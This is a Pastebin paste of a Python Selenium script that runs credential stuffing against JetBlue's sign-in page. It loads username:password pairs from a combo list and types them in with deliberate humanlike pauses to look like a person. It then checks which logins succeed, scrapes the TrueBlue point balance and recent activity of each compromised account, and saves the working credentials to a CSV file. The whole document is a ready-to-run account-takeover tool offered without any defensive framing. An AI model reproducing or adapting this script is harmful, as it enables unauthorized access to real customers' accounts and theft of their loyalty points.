Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: utf-8 -*-
- """
- Created on Wed Jul 24 22:59:55 2019
- @author: Yukimura
- """
- import time
- from random import randrange
- from selenium import webdriver
- from selenium.common.exceptions import NoSuchElementException
- from selenium.webdriver.common.by import By
- from selenium.webdriver.support.ui import WebDriverWait
- from selenium.webdriver.support import expected_conditions as EC
- from selenium.webdriver.chrome.options import Options
- chrome_options = Options()
- chrome_options.set_capability('--disable-web-security', True)
- # Create a list of username, password pairs from your file.
- username_password_list = []
- with open(r"C:\Users\ees\Downloads\combo.txt") as file:
- for line in file:
- user, password = line.strip().split(':')
- username_password_list.append((user, password))
- count = 1
- f = open("jetblue_result.csv","w+")
- for user, password in username_password_list:
- print(str(count) + " out of " + str(len(username_password_list)))
- print("------------------------------")
- count += 1
- try:
- #create Chrome session
- #driver = webdriver.Chrome("C:\chromedriver.exe")
- driver = webdriver.Chrome(executable_path=r'C:\chromedriver.exe', chrome_options = chrome_options)
- #start Chrome session
- driver.get('https://www.jetblue.com/signin')
- time.sleep(8)
- #------------ login ------------#
- while True:
- #username
- el = WebDriverWait(driver,30).until(EC.visibility_of_element_located((By.CSS_SELECTOR, "input[type='email']")))#.send_keys(user)
- el.click()
- for character in user:
- el.send_keys(character)
- time.sleep(randrange(1)) # humanlike typing
- time.sleep(2)
- #password
- le = driver.find_element_by_css_selector("input[type='password']")#.send_keys(password)
- for character in password:
- le.send_keys(character)
- time.sleep(randrange(1)) # humanlike typing
- #login click
- driver.find_element_by_xpath("/html/body/jb-app/jb-basic-template/div/jb-sign-in-page/div/div[2]/div/jb-trueblue/div/jb-tb-login/form/div[3]/button").click()
- #time.sleep(120)
- time.sleep(7)
- #IF url is still login
- if driver.current_url == "https://www.jetblue.com/signin":
- print("- Blank login page... retrying..")
- else:
- break
- # If statement for incorrect login here
- try:
- if driver.find_elements_by_xpath("/html/body/jb-app/jb-basic-template/div/jb-sign-in-page/div/div[2]/div/jb-trueblue/div/jb-tb-login/div[contains(text(), 'Either your username or password')]"):
- print("- Invalid Credential! onto the next one..")
- print("------------------------------")
- #------------ Exporting ------------#
- f.write(user + "," + password + ",N/A,Invalid Credential\r")
- continue
- while True:
- if driver.find_elements_by_xpath("/html/body/jb-app/jb-basic-template/div/jb-sign-in-page/div/div[2]/div/jb-trueblue/div/jb-tb-login/div[contains(text(), 'Oops')]"):
- print("- Wonky server, retrying...")
- driver.find_element_by_xpath("/html/body/jb-app/jb-basic-template/div/jb-sign-in-page/div/div[2]/div/jb-trueblue/div/jb-tb-login/form/div[3]/button").click()
- time.sleep(7)
- else:
- break
- except NoSuchElementException:
- print("- Pass login check")
- break
- #---------------------------------------------------------
- #navigate to My Activity
- driver.get('https://trueblue.jetblue.com/dashboard/my-activity')
- time.sleep(3)
- #if statement for 'Confirm your Contact Info'
- try:
- if driver.find_element_by_xpath("/html/body/mp-root/div/mp-confirm-contact/div[2]/form/div/div[3]/div/button"):
- print("- 'Confirm Contact' pop-up")
- driver.find_element_by_xpath("/html/body/mp-root/div/mp-confirm-contact/div[2]/form/div/div[3]/div/button").click()
- print("- 'Update Profile' button has been clicked")
- time.sleep(2)
- driver.get('https://trueblue.jetblue.com/dashboard/my-activity')
- except NoSuchElementException:
- print("- No Confirm contact pop-up")
- # Extract My Actiity page
- score = WebDriverWait(driver,30).until(EC.visibility_of_element_located((By.XPATH, "/html/body/mp-root/div/mp-dashboard/mp-dashboard-header/div/div/div/div[2]/div/div/div[1]/span[2]"))).text
- print(score)
- activity = WebDriverWait(driver,30).until(EC.visibility_of_element_located((By.XPATH, "/html/body/mp-root/div/mp-dashboard/dashboard-outlet/div/div/div/mp-my-activity/div/mp-dashboard-boxes-container/mp-dashboard-box[1]/mp-latest-activity/div/mp-latest-activity-item/div/div/div[2]/span[2]"))).text
- print(activity)
- #------------ Exporting ------------#
- f.write(user + "," + password + "," + "\"" + score + "\"" + "," + "\"" + activity + "\"" + "\r")
- print("------------------------------")
- except NoSuchElementException:
- print ("Cant find element!")
- #------------ Exporting ------------#
- f.write(user + "," + password + ",Requires Manual Login\r")
- print("------------------------------")
- except Exception as e:
- print("Something went wrong ",e)
- #------------ Exporting ------------#
- f.write(user + "," + password + ",N/A,Require Manual Check\r")
- print("------------------------------")
- finally:
- #close Chrome session
- driver.quit()
- time.sleep(4)
- f.close()
- print("******* Finished *******")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement